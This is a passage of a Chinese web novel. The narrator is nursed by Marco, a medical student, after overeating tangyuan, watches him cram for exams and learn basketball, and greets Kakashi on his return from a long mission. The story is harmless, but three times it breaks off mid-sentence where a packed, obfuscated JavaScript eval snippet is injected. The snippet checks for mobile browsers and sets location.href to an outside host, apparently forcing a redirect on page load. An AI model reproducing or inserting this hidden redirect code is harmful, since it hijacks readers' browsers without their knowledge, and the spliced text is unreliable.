马尔科可能记错了?我的生理期在月底,还不到疼的时候。 “马尔科,今天是21号。”我提醒他日子不对。 他却在我耳边笑:“我知道,我是说——汤圆好吃吗?” “好吃呀,甜甜的!”我不假思索。 马尔科笑得更开怀了:“大小姐,汤圆好吃也不能连吃五碗啊,你没有不舒服吗?” “……不舒服?”我后知后觉。 马尔科不愧是医生呢——我的食量没有上限,平常只考虑数量,很少会思虑“消化”的事。 我不曾想,眼下一想,越想越不对。 胃里原本没有异样,几碗汤圆而已。但他刻意一提,胃里忽然便开始翻江倒海地不适。 我说不出滋味,请教他:“有点……撑,是不舒服吗?” “当然了,”马尔科叹着气,手上加重了力量,“糯米制品不易消化,你吃太多了,消化不良。” 我居然会消化不良啊?我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439560|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道啊,我第一次听说。 起初卡卡西和修兵说要找个医生来照顾我,我甚至在质疑找医生的必要性。 现在我不这样想了,我问马尔科:“我有病吗?” 他“噗”的一声乐了:“你有什么病?不要瞎说啊——” “那我怎么了?” “没怎么啊,小问题,不用紧张,”马尔科宽慰我,“大小姐,你身上寒气太重了,生理期之前并发症多。不想肚子疼的话,以后得节制一些。” “不能吃小汤圆了吗?” “可以吃,少吃一点。” 可我也没吃多少,饺子店里的水煮汤圆平平无奇,一碗才八个。后来去公交站的路上,街边小吃铺里阵阵飘香,见到有人在兜售油炸汤圆—— 无奸不商是真的: 他把速冻汤圆冷水下锅煮至半熟,淋冷水降温,裹上一层厚厚的白芝麻。再放入油锅,低温速炸,只需三十秒,汤圆们就会膨成一颗颗可爱的小麻团,又软又糯,香酥可口。 小份四颗,大份六颗。成本价不到两块,他卖六块十块。 等车时百无聊赖,闲着也是闲着,我们要了一份尝鲜。 马尔科不太喜欢甜食,只吃两颗就作罢;我喜欢甜食,吃完这碗,又要了三份。 …… 所以我的确连吃了五碗,但凑在一块也不到四十个汤圆——四十个汤圆算什么啊,马尔科两碗水饺都有四十个呢。 何况他只是能力者,我可是管理员。 管理员的食量远超能力者,我的食量更在其他管理员之上。这些摄入对我而言只是九牛一毛,已经很少了,再减少摄入,我大抵要进入冬眠状态了。 ——不可以少吃点。 我没有作声,是无声的抗议。 “……不容易消化的东西少吃点,”马尔科在我耳边低语,“生理期之前稍微节制一些,其他时候没关系。” “只是生理期之前吗?” “嗯。” “好吧。”那没事了,我答应他,我可以少吃一点。 “偶尔一次没关系的,”我已经做好不吃的准备了,马尔科却又宽慰我,“不舒服的话,过来找我揉揉,揉揉就没事了……现在有没有好受一点?” “嗯……” 现在好受很多,按摩和青焰双管齐下,片刻间横扫不适。 是治疗,更是享受。马尔科多揉几下,不仅肚皮里安然,连我蜷缩在一起的脚指头都一根根地舒展开。我的身体有自己的想法,它情不自禁地在被窝里挪动,蹭上蹭下,扭左扭右。 “你干嘛呢,大小姐?”马尔科歪头问我,“干嘛呢,蹭来蹭去的?” “……我没干嘛呀?” 我什么都没有做,不过是在寻找最舒服的身位而已。我已经找到这个“最佳享受点”了——只要后背抵紧他胸膛,就可以最大限度吃够他手上的力道。 马尔科的掌根有力,说是“揉揉”,实则“推拿”。 青焰在内,春风化雨;推拿在外,铁骨柔情。 刚柔并济,双管齐下……真的很舒服。舒服到我贪婪得想要更多。 “没有不舒服的时候也可以给我揉揉吗?”我请示马尔科。 马尔科被问得一愣,好半天才回过神,哑然失笑,反问我:“平时也想让我揉揉吗?” “嗯,很舒服,可以吗?” “可以呀,”他轻声应着,温柔地同我耳语,“你喜欢的话……当然可以了。” …… 窗外仍落着雨,淅淅沥沥的雨声催促着不眠的梦。 马尔科体温高,依靠着他,像晒着午后的太阳。那也是一种冬天的习俗,每到冬天,就该找一个阳光明媚、晴朗无风的日子晒晒后背,借天地之灵,强身体之机能。 我很快就在这种惬意里迷失沉醉……云雾缭绕间,似乎有人在说话。起初几句没听清,只有最后一句—— “……你洗澡的时候,我联系了修兵,他说周末有空。” “!”我瞬间不困了,“修兵?哪有修兵?修兵怎么了?” 32.15 如一(2) 我从云雾里醒过来。没有修兵,只有不停歇的雨幕、湿漉漉的街道,路灯点射着凄冷的天地,一如入冬时的离别。 这里没有修兵,也没有卡卡西。眼前漆黑一片,一无所有,除了马尔科,我只有马尔科,他在我背后倒抽寒气。 “你怎么了?”我醒了,但我还云里雾里。 “……没,”马尔科只是笑,“你不疼吗?” “什么?” “大小姐,你这是什么脑袋啊,”他忍着笑,抽出手摸了摸我的头,“怎么这么硬……” “我撞到你了?”我后知后觉,“对不起,马尔科,撞疼了吗?” “没事,不疼,”马尔科不介意,没有怪我莽撞,只用青炎一卷,全当无事发生。 “快躺回来,热气都跑掉了,”他把我拽回被窝里,拽回最舒服的位子上,缓缓问着,“不是睡不好吗?这才多久,你都睡着了?” “嗯,睡着了……”我乖乖躺回被窝里,撩开睡衣,露出肚皮,继续享受按摩服务。 我真的睡着了,马尔科到来后,我的睡眠质量方兴未艾。 我在哼哼,马尔科嗤嗤笑:“这么舒服?” “嗯!你刚才说什么,修兵怎么了?” “噢,修兵啊……” 马尔科一边替我按摩,一边和我重述: 晚上回家,我怕忘事,忙着写小本本,浴室空着,他便先去洗漱;等我忙完了去洗澡的时候,他才出来收拾房间和礼品,闲暇之余,又给修兵打了一通电话。 马尔科好细心呢,我小小地诧异了一瞬。 置物中心的SVIP卡绑了修兵的手机号,我们的一切消费都会发短信通知修兵,等他空了也会自行查阅——就这么点小事,他居然还刻意通知了一声。 于是电话打都打了,他们顺便聊了聊天,说起了修兵同事的病况。 “……修兵怀疑同事先前吃错了药,导致病情加重,所以才要送她去医院做全面检查。” “那她吃错了吗?” “吃错了,”马尔科肯定,“之前身体不适,她没有分辨,一次吃了好几种药。这几种药物互相反应生成了毒性物质。早些时候已经出现了中毒反应,但没人发觉,幸好修兵送她去了医院,医生发现了。” “好危险……” “是啊,”马尔科讲,“好在发现及时,抢救过来了。” 马尔科的电话打的正是时候。 医院没有节假日的说法,越是佳节,越是人满为患。今日亦然,偌大的医院,医护人员们目不暇接。 修兵忙着办手续,跑前跑后,分身乏术,应该询问的后续护理问题完全来不及细问。马尔科的电话一响,两人正好交流。这一交流,下午还是普通流感的同事,忽然升级迭代成“差点一命呜呼”。 消息十分突然,但生命就是这样脆弱。 病来如山倒,病去如抽丝。于天地之间,一如蜉蝣。 “下午修兵说流感,我听着有些不对,最近是有流感,但症状和他描述的对不上……晚上一问果然不是流感。” “……” 我说呢,马尔科未免太细心了,怎么一点小事还要特意通知? 原来不是小事,是他的职业雷达在报警。 “对自己身体要爱护一些啊,”他在我耳边感慨,告诫我,“不要学她乱吃药,哪里不舒服要跟我说,知道吗?把小毛病一一拔除,才不会生出大问题……” “嗯,知道了。” 防微杜渐——我明白马尔科的意思。 但明白归明白,有没有能力解决是另一回事。而那种事需要大量理论的积累、丰富实战的操练……一触即发的敏锐嗅觉是精湛的素养,不是素人纸上谈兵能企及的领域。 我做不来,专业的事只能由专业的人做。 ——果然家里还是要有个医生才行啊! 我转过身,抱紧了马尔科。 “大小姐,你干嘛呀?”他也揽住我,哑然失笑,“这样我没有办法继续了。” “不揉了,你辛苦了,”我靠在他肩头,也揉揉他的手,“累吗?” “不累,”他精神抖擞,满口都是笑,“这么点事情就累吗?” 我点点头:“我躺着都累。” “……”他笑得合不拢嘴。 我不知道这算不算一种癖好?每个人都有自己特别的点。 譬如卡卡西一旦开怀,会笑眯眯地靠近我,两只手或捧着我脸、或捧着我脑袋,然后用力地搓揉;而马尔科每每大笑,都会把我拽进怀里,用力箍着。 我时常得感受他胸腔的震动和床铺的悲鸣。虽然我动弹不得,但那密不透风的处境很能体现他的快乐。 虽然很多时候,我并不理解他究竟在快乐什么。 但那不重要——马尔科在快乐就好了。 我在他的臂弯里艰难抬头:“所以你和修兵约了等他忙完,周末再替他做身体检查?” “嗯,”他懒声应答,“修兵要周末才有空。” “哦,”我点点头,并不意外。 下午修兵说生病的同事没有找到家人……依我看,就像穷凶极恶的歹徒至今逍遥法外,依卡卡西的性子,必定忍不住亲自挂帅一样;同事生病住院没有家人陪伴,依修兵的性子必是放心不下,肯定要照顾到对方出院为止。 “可今天是周六,”我问马尔科,“意思是下周才有空吗?” “嗯,是的,”马尔科肯定,“修兵说对方没有家人也没有朋友,一个人生活,放着不管的话,半夜偷偷死掉了都没有人知道……他既然知道了,就不能不管。” “……哦。” 这倒是,既然知道了就不能装作不知道。掩耳盗铃,自欺欺人毫无意义。 何况对方情况特殊,恰逢疾病缠身,没人照看的话,仅靠自己无力回天。 ——所以身边还是有家人好。 我已经挣扎着从马尔科怀抱里钻出来了,我又默默地缩了回去。 “……大小姐,你到底在干嘛啊?”马尔科似笑非笑地问。 “没有干嘛,”我抱紧他,“只是想跟你贴贴。” “贴贴?” 这是前几年的流行词语,马尔科没听过,一脸茫然。他把我扒下来,我又贴上去,反复两次,马尔科乐不可支。 虽不知贴贴是何物,但他抱住我,头抵在我脑袋上,自然而然地和我贴近。 “这样很亲近吧?”我抬头问他。 “……喔,”他微微一怔,点点头,“是啊。” “这就是‘贴贴’,贴在一起,是亲密的表现,”我介绍给他,“前几年很流行的词语,你还没有见过吗?” “呃,这么说来好像见过,”马尔科答,“学校论坛里有人这样回消息……所以不是暖贴的意思?” “那是顶顶。” “这样,”他会了,活学活用,“大小姐,贴贴~” 马尔科好暖和。 靠在他身上,脸埋入那团跳跃的火焰中,轻盈的触感总让我想起梦里洁白的云朵,我在其中穿梭…… 屋里静悄悄的,只有窗外落雨的声音。 我快要回到那团云雾里,迷离间又听到马尔科轻语:“……对了,大小姐,那会卡卡西他——” “!”云雾散了,我睁开眼,彻底不困了,“卡卡西怎么了,他要回来了吗?” “哈?你怎么知道?”马尔科惊住了。 火焰即刻点亮了整个夜晚,他一脸震惊地盯着我,平心静气的声调忽然提高了好几个八度。 “大小姐,你和卡卡西也有‘默契’吗?!” “没有啊,”我摇着头,不知道马尔科在惊讶什么,“我猜的。” “猜的?” “嗯。” 我和卡卡西没有默契,那种特殊的“超能力”只存在于我和修兵之间。 我是猜的,能猜到,不过是因为了解——他可是“天才”,办事处一年解决不了的任务,卡卡西出马,最多三个月必然有结果——如若不然,这个公认的“天才”岂不是浪得虚名? 生日会后,卡卡西离开,那是10月6日;眼下12月21号冬至,算算时间,已经过去足足两个半月。 这不需要默契,只需要推理,卡卡西那边差不多该有结果了。如果两个星期内还不能收到卡卡西的回执消息,那么一定有紧急情况发生;反之,一定是他要回家的消息。 “……和默契无关,是卡卡西很有本领。” 我和马尔科解释了我的推理流程。他到来不过一季光阴,对这里的了解仅限于学校和生活,对家庭成员的了解反而不多。 这种事但凡他对卡卡西知晓些,他也能猜到。 “卡卡西是万能的,”我只说结论,至于过程可以等马尔科接触卡卡西后自行补充,“即便办事处都感到为难的任务,在卡卡西那里只是一点小事,没有什么可以难得倒他。” “他这么厉害吗?” “嗯,他非常厉害,”整整六年朝夕相处,我很有发言权,“他很久没有出任务了,我预计的时间比较宽松。等他熟悉起来,或许一两个月就能完成。” 所以这的确是熟悉,不是默契。 我了解卡卡西,即便不能参透他的想法,也能凭借熟稔做出判断。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457828|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……这样啊,”马尔科松了口气,口吻难掩落寞,“差点以为就只有我和你没有默契?” “才不是,卡卡西不也在等修兵出书吗?”我提醒他。 “噢,对啊!”他恍然大悟。 那拨云见日的表现和他平常从容淡然的形象产生了强烈反差,不知怎么的竟有一些滑稽好笑。 我没忍住,噗嗤一声,乐不可支。 “笨蛋马尔科。” “哈哈,好吧,笨蛋马尔科。” 青焰在燃烧,跳跃着满是生机,与冷寂的冬日迥乎不同。 我伸手去摸,感受它轻飘飘地从我指尖滑过,和云朵一样柔软,亦同云朵一样消散。火光渐渐熄灭,带上房间一起隐入浓密的夜色里。 马尔科轻声笑着,聊回最初的话题:“……那会儿卡卡西也打电话来,他说任务完成了,大概半个月后回来。” “卡卡西跑了这么远吗?”我下意识回。 我们家居于内陆。以卡卡西的行动力尚且需要半月才能回家的话……我能想到的有且只有两个地方:一是西北边境处,向外是漫漫黄沙的无人区;二是东北的原始森林,往内密林丛丛,亦是不便行进。 我推测他去了西北边境。 一来,要追踪的罪犯身边有潜在的合作对象,能从办事处的监控网下脱身,恐怕协助者能力不小、甚至数量也不少,往坏处想,无人区更适合多人影踪匿迹; 二来,出发前他刻意回家探望我和马尔科,告别时头上戴着风沙护目镜——我不认为“天才”卡卡西会选择带护目镜进原始森林,也不认为他回家纯为探望——以我对卡卡西的了解,任务内容虽是绝密,不可泄露;但他是“天才”,“天才”脑子里鬼主意尤其多,“不经意”地透露一点行踪,又不违反规定…… 原则上不能做的事很多。但卡卡西合法合规地卡BUG已是常态。 我无所谓。只要有利于他开展工作,我都会默许。 “……好远啊,等他回来都要过年了。”我不由地感慨。 “是呀,都快过年了,”马尔科附和着,想起点什么似得,忽然问起,“大小姐,过年我们家有什么特别的习俗吗?” “没有呢。” 我们家只有吃团圆饭一个活动,每年风雨无阻,必须阖家团圆。 但这活动归根结底不算“特别”的习俗,每逢年关,家家户户皆是如此这般。 至于他说的那种……我想了想,特别的活动有,但不需要马尔科忧虑。 他初来乍到,对这里所知甚少,是家里老幺,又是在读学生……学生的主职工作是学习,生活和办事处的事有修兵和卡卡西,他们会准备充分,马尔科无需劳心费神。 “要我提前准备一下吗?”他果然问我。 “不用,”我一口回绝。 别的倒也不用多说:我们家向来讲究分工合作,各司其职。 人应在合适的时间地点做合适的事,做好自己本分足矣,别的不做要求;而眼下这个时间点,最应该做的是睡觉。 我打着哈欠,钻到了马尔科的臂弯里。他呼吸异常炽热,低头看我时,热息系数落入了我的颈窝。 有点痒。我迅速调整了姿势,缩进被子里,趴在他肩头,只露出半个脑袋。 “我要睡觉了。” 我宣布我要睡了,不许再和我说话。 话音未落,马尔科一把把我抓了出来。 “不要蒙着头睡啊大小姐,影响呼吸。” “……好吧。” 宣告失败。那我再换一个姿势……我缩到了他臂弯里,调整高度,抱紧了马尔科。 “我要睡觉了!”我再次宣布。 “……”他没回,闷声在笑。 “不许笑,”我捂住他嘴。 “唔……好好好,不笑不笑,”他捏着我的腕骨,把我胳膊塞回被窝里,搭在他腰间。 被窝有点漏风。 马尔科细心地掖好被角,顺手把我脸侧几缕发丝别到耳后。 “睡觉吧马尔科,睡太晚有黑眼圈,那我就不漂亮了。” 我抱紧他,轻声低喃。 却不知这话怎么戳到他笑点,只听夜色里“噗嗤”一声。 “大小姐——” 他才刚说不笑,这就又开始了。那笑意涌来,如潮水一般此起彼伏,不肯停歇。 我们的床在震动中作响,像一尾小舟,随波逐流,轻轻摇晃……醉后不知天在水,满船清梦压星河。 “不会的,大小姐怎么样都很漂亮,”很久之后马尔科才跟我讲。 “……”而那时,我早入梦乡。 33.15 如一(3) 人和人之间有云泥之别。 马尔科是钢铁之躯,我可不是。 今年有马尔科陪我,我的睡眠质量好转许多,但这只是一种比较,相对于从前那些辗转难眠的冬夜亡羊补牢而已——我的睡眠状况再好,也不至于能和白炽灯针锋相对,更不至于到点就睡、准时规律。 昨晚回家是十点,洗完澡又聊了许久,粗略算来十二点以后才有“睡觉”一说。 是我睡了,马尔科没有;而等到我醒来,马尔科又已经醒了,没叫我,在看手机。 窗外天色未明,屋里也未点灯。 晦暗与寂静里,屏幕的光照亮他的脸。白底黑字的色彩反应在马尔科平整的镜片上,全是些我看不懂的专业术语,而他神色肃穆,全神贯注,一目十行。 我醒来时,见到的就是这样一副光景。 哪怕我醒了,他也未曾留意,只当我踢被子,下意识地掖起被角,挡着我身后的光源。 我睡得很香,一夜好梦。 却不知道马尔科又学了多久……一整晚究竟有没有休息? “醒了?”马尔科注意到我,果断把手机放下,摸了摸我的头,“早啊大小姐,睡得好吗?” “嗯……”我睡得好,迷迷糊糊地哼哼,又惹了他笑。 “干嘛呀大小姐?大清早就开始撒娇了……” “唔……今天有早课吗?” “有啊,今天有考试,不可以赖床哦。” “!”那不哼唧了,我起床,立马起床。 我们挤在浴室里洗漱。我动作磨蹭,马尔科收拾完自己,又帮我整理头发,替我戴好围巾。在我认真思考今日香水选用木调檀香还是水果调柑橘香的时候,他去厨房煮了一碗热乎乎的海带汤。 感谢海带汤。 落过雨的街道清冷至极,隔壁街口酷爱晨练的大叔大婶们无一露面;而我迎着阵风,无所畏惧,唇齿留香。 “冷吗?”马尔科不时问我。 “不冷,”我把手揣进他兜里,对“功臣”赞不绝口,“豆腐好软和,小虾皮也好吃。” “哈哈,冰箱里还有半块。喜欢的话明天也给你做。” “好的。” 路上湿滑,行人不多。马尔科牵着我,步伐缓慢而小心。 经过空空如也的十字路口,忽然一阵烈风起,吹得我睁不开眼。马尔科眼疾手快,一把将我拖进外套里。新买的羽绒服蓬松又柔软,我躲在里面,抱紧马尔科,直到风停,又才和他牵着手一起过马路。 “好香啊,大小姐,”无风之时,马尔科会主动问我,“幽幽的,是兰花吗?似乎还有一点栀子和丁香……” “嗯,是的。”我连连点头。 植物各有药性,四舍五入也能算为“医学”的一种。 我发现了:但凡和医学相关,马尔科就兴趣斐然,且极有涉猎。 单聊香水,他一知半解,但说植物—— 先从药性开始,他如数家珍,再谈特性,他信手拈来,最后一归纳总结,香水不过是植物提取物的再加工——马尔科虽不懂香水,但懂植物。前三天不明所以,然后思路打开,再往后的每一天猜香水,他都是一击必中。 我就说吧,他好厉害。 马尔科不一般,一般人谁能做到这等地步? 众所周知,人永远不能清楚认识的只有自己。所以在物理层面对人体进行探索的医学和在精神层面对灵魂追溯的哲学一齐,可谓万千学科中难以攀登的最险峰。 是的,医学很难,难就难在没有尽头,这对攀登者的能力和心志提出了极高的要求和挑战。 但医学再难,和我们家马尔科有什么关系? 他诚然是一个超越想象的存在。 身为先天学习圣体、疗愈本愈、医学界冉冉升起的明日之星,日常有态度、热情、专注、行动为其铺路,我想世界上没有任何事可以阻挡他的脚步——学习?也无非探囊取物。 大鹏一日同风起,扶摇直上九万里。只等风来,马尔科这样的金子必会发光。 我一点也不忧虑他的学习,也从不质疑他对医学的拳拳之心。 学习当然是好的。 但我想知道他这样心无旁骛地学习下去,篮球课实训部分到底什么时候才能推进? 距离年关仅仅四十日余,一个月内,本学期亦将落下帷幕。 那场考试之后,更多场考试接踵而来,考试季也轰轰烈烈地展开。马尔科开始沉沦在各类医学专业的结课考试中无暇脱身,说好了去打球,也报名了篮球课,然而球衣球鞋买了一个星期,却迟迟派不上用场…… “马尔科,”我忍不住开口,“书还没有看完吗?” “……唔,”马尔科听见了,但好一阵子才从书本里回神,“是的,还有一点点,大小姐。” “好吧。”既然他意犹未尽,那我等他看完。 我并不知道马尔科所谓的“一点点”是指他已经看完了《上》,还剩下“亿点点”《中》和《下》。 等他看完,天都暗了。我从浴室里出来,准备休息,他打了个呵欠,接棒洗漱。 门没关,马尔科取了眼镜。 我在门边探头探脑,见他眼睛透亮,像橱窗里的珠宝、夜空中的星。外表瞧不出一丁点端倪。但马尔科见我来了,自然地眯起眼—— “你干嘛呢,大小姐?” 他一把抓住我,把我拉进了浴室里。 暖光直射。不戴眼镜的马尔科瞧着很是青涩,面上水汽氤氲,强光下宛如大汗淋漓,越看越有少年感。 “书看完了吗?”他拉我胳膊,我也扯他胳膊,问他,“什么时候打球呢……” “要嗑CP吗?”马尔科了然地笑。 “嗯,我想嗑CP。” “那怎么办呢,今天的书是看完了,但明后天还有其他的考试呀!”马尔科无不遗憾道。 “……明后天?” “嗯,明天三门考试,后天还有两门。” 医学生课业繁重,马尔科一年要追赶常人六七倍的进度,课业尤其繁重。 现在不是打球的时候。他伸手摸我的头,以示安慰。我也只好作罢,即便如鲠在喉。 “那我睡了。” “嗯,去吧。” 我去床上躺着,酝酿睡意。 很快马尔科也来了,但他不睡,躺着抱我;白天打好了草稿,晚上用手机写论文。 平时会嘀咕关灯,唯恐影响我休息。此时忙起来也忘了,只有“粉红小海豚”尚能引起他一点注意——马尔科望我一眼,不语而笑。 “要睡觉了吗?”他笑着摸了摸我。 “嗯……”我点点头,先睡了。 万般皆下品,惟有读书高。 没关系,学习重要,我可以等。 然而一等就是一天、两天、三天……一星期,再等等周末卡卡西都要回来了,可马尔科还在教室不动如山,我不知道这样等下去什么时候才是个头? 已经下课了,眼看他雷打不动地又开始翻书,我再次叫停他。 “马尔科……” “嗯?”他微微一怔,吓了一跳,“怎么了,大小姐?” 教室里还有别人。他们医学生都是如出一辙的内卷,别的教室一下课顿做鸟兽散了,而医学生的课堂下了课仿佛无事发生,继续整齐划一地静坐学习。 我不小心惊动了一屋子优等生。前排众人不约而同地回过了头。 马尔科倾身挡住了我,温声细语问着:“怎么了,怎么不高兴?” 我好委屈:“我们出去走走吧,我想嗑CP。” “……”他一脸后知后觉,笑着扶了下眼镜,迅速收拾好书包,带上我。 “我们走吧。” 事情和我想的不一样。 我以为他又会找出理由,留在教室继续看书。如果他非要看书,我也断然没有别的办法强迫他外出。结果马尔科非但没有,还在路上和我闲聊—— “等到这周末,降温就结束了,医学院的考试也差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472194|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多结束了。那我们就可以去打球了。” “降温?” “是啊,这周大降温,你没发觉吗?” “……” 我没发觉。在我的感知里,只有“从前冷”和“认识马尔科以后不那么冷”两个维度。 至于马尔科说的“大降温”“雨夹雪连下七天”“深冬最后一次降温”……气温在零度徘徊,但体感并没有零度以下,我不至于被冻僵,也没有额外的感觉。 除非马尔科施施然告诉我—— “上周你生理期,不可以去外面待着;要是感冒就麻烦了,又要哼哼肚子疼。” “这周天气也不好,刮风下雨,始终不停。你这么怕冷,怎么受得了啊?” “天气太差了。最近的篮球场上——你自己看看,真的没有CP。” …… 事情和我想的不一样,事情和小说里写的也不一样,马尔科说的才是真的,学校篮球场上当真没有CP。 我们绕着球场,从室外走到室内,极目所视全是同性,没有异性。我和马尔科才是唯一的例外,逛完一圈,反倒是我俩引人注目。 “……真的没有!”我惊了,小说骗人! “是没有啊,”他云淡风轻地应着,“这么冷的天,除了你,哪有女孩子往这种地方跑?” 这么冷的天,球场上连男孩子都寥寥无几。又毕竟是考试季,不论平常成绩如何,总归要临时抱佛脚,以示尊敬。 我们走了一圈又一圈,还是不见CP。篮球场如此,连隔壁网球场亦如此。 “要回去吗?”马尔科问我。 “不要。”我果断拒绝了。 马尔科又在教室里坐了一天,他真的应该多运动运动。室外风大,我决定在体育馆里待一会儿。 馆里学生寥寥无几,有几个在打篮球,我示意马尔科:“你要不要去跟他们玩?” “啊?”他瞄了一眼,兴致乏乏,“我跟他们玩什么啊?” “篮球啊,再等等就要考试了,可你还没有开始学习。” “这简单,周末天气回暖,你来教我吧,大小姐。” “我?” 马尔科……心好大啊。 他找我教是认真的吗?我不会啊,我怎么教? 周四下午天气回暖,待到周末,地上水渍干涸,天上日头正盛。 我们如期抵达街头篮球场。一阵面面相觑,我教他“这样”“这样”“这样”,只可意会不可言传,而他居然懂了—— “这样?” 那三分球投得好漂亮,像流星倏地划破苍穹。 “……”我目瞪口呆,“你都会了?” “看视频,这很简单啊?”他了然一笑,“是这样的吗,大小姐?我看他们都是这样投的?” 说着话又是一记漂亮的三分。马尔科是什么极品学霸啊?我瞠目结舌。 “那你站远点,再试试。” 我把他拽离三分线,直接拽出半场。马尔科试了试,第一次不中,砸到了篮板,后面调整了手感,从第三颗球开始弹无虚发。 “……” 我已经知道了马尔科有自己的规划,他也说过“学习篮球易如反掌,不足为惧”,但他真的太离谱了!人怎么能优秀成这样? 我在风里呆若木鸡,原本已经偷偷给卡卡西留言,时间短任务重,让他回家务必找个机会教会马尔科打球。卡卡西也说好,兴致勃勃欲大展身手……很难想象他回来得知此事会是怎样一副盛况。 ——“哈?大小姐,你怎么谎报军情啊?打球都不叫我!” 我猜卡卡西会这样说吧,我猜的。很符合我对他的刻板印象。 ——“喂喂喂,你们两个……打球都不叫我啊!” 篮球场上没有别人,卡卡西的声音倏地闯入我耳里。 我不由得愣住,甚至怀疑是不是自己幻听?然而我一回头—— 雨已过,天也晴。 金光刺穿浓云,银色的发丝在风中烈烈挥舞。 34.15 如一(4) 他是帅的,即便相距甚远,面容模糊不清。 但他逆光而来,步伐轻盈、身姿挺拔,人未至,慵懒的气息已悄然而至。 当金光在背后,金光便是他的背景。若月色在他身后,月便是他的陪衬。 “卡卡西?!” 我没有幻听,是卡卡西的声音,真的是卡卡西。 他在球场外绕了半圈,从车行道过来了。人来了也没个正经,靠在门口探头探脑,与我们打起招呼。 “嗨嗨~家人们,我回来了!” “终于回来了,欢迎回家,卡卡西,”马尔科笑着招呼他。 “啊,终于回家了,”他亦笑着走近。眼睛弯弯的,像天上月牙。 自他走后,天上许久不见星月。这些日子不是雪就是雨,或者乌云密布,一无所有。 直到他走过来,一步步靠近,给人以无尽的向往。 天上不能没有星月,人间也是。 我叫他:“卡卡西!真的是你!” 真的是他,他提手就抓我,捧着我脸又搓又揉,一点也不客气:“喂喂,大小姐,好久不见了,你这是什么表情?!” 我当然是笑的表情,除了笑,还能有别的吗? 这次的任务他可是外出了整整三个月。在我们认识的六年里,分别的时长加在一起也不超过三天,何况是渺无音讯的整整三个月—— “你不是跟我说周末才回来吗!” “哈哈,本来是周末,但听说今天你们在这里打球——那不行,打球怎么能不带我?!” 所以他连夜赶路,为了打球。 什么打球,我看他笑眯眯的,满眼写着“归心似箭”。 “哼哼!”我伸出手,问他要一个最高礼遇的抱抱。 “哼哼~”卡卡西会意地抱起我,不仅有抱抱,还有转圈圈、举高高。 “最近还好吗?” “很好。” “有好好吃饭吗?” “有好好吃。” “我看看,”他抱起我上下掂量,煞有介事道,“嗯,嗯,是长胖了很多。” “才没有!”我一毫克都没有长胖!卡卡西乱说!不准乱说! 快乐消失了,我目瞪口呆,卡卡西在干什么!我们重逢才不到三分钟,他怎么张嘴就造谣啊! 无数的光辉瞬间失去了色彩,卡卡西不可爱了,真可恶! 他是故意的,话毕眉眼弯弯地盯着我,满脸的不怀好意。 我要揍他,手脚并用地挣扎,好不容易从他怀里挣脱出来,他却预判了我的动作,提前钳住了我双手,忽然一推,推得我一个趔趄,连退几步,倒在马尔科身上。 马尔科眼疾手快,一把接住了我。倒是不疼,可等我笨手笨脚地反应过来,卡卡西早退开老远,站到了我打不着的距离。 “来呀,大小姐。”他挑衅我。 “……”可恶,我追不上! 一圈、两圈、三圈……我追着卡卡西满场跑。他状态不错,精神十足,没有受伤,躲闪的动作毫不拖沓。 我一点都追不上。马尔科没见过这场面,杵在原地看我们追逐,只知道笑,都不知道帮我忙。好在修兵及时赶到,酷酷的声音在远处宣判。 “——还说要休息,我看你一点也不用休息啊卡卡西?” 修兵老师吐槽功底炉火纯青,一针见血。 卡卡西不跑了,哈哈笑着:“没办法呀修兵,怎么几个月不见,大小姐好像变得更呆了?哈哈哈太可爱了,一见到就忍不住逗逗她。” “!” 我是呆住了。这是什么话!我可是堂堂管理员大人,又不是什么小猫小狗! 我听得目瞪口呆。卡卡西倒笑得更开心了,凑过来大力揉我脑袋。 “哈哈哈哈,太可爱了。修兵你过来看,大小姐又呆住了……” “卡卡西,你再逗她,小心她咬你了。” 修兵还没绕过绿化带,只闻其声不见其人。 感谢修兵提醒,我瞪着卡卡西:“你再逗我,我咬你了!” “哦,是吗?”他不听我的,伸出胳膊让我咬,我要是不咬,他就把我举起来举高高。 “放我下来!” “不放。” 长得高就是了不起。我一通挣扎,无法落地。卡卡西笑够了,一收手,稳稳当当地把我揽入臂弯—— 卡卡西真讨厌。我都要咬他了,他却忽然一个熊抱,无事发生一般,亲亲密密地和我贴贴。 贴贴是变亲密的魔法。他对我使用魔法,我能怎么办? 我只能用力抱住卡卡西,也贴贴他,给于英雄最高的礼遇。 “欢迎回来,任务辛苦了,卡卡西。” “不辛苦。我回来了,大小姐。久等了。” “……你知道就好,”我埋怨一句,就一句,“等你好久喔!” “哈哈哈,抱歉抱歉,好久没有接任务,一时间真还有些不习惯……” 至于一时间究竟经历了哪些不习惯……卡卡西笑了笑,没有深究。 我也不去问。人回来就好,别的无关紧要。 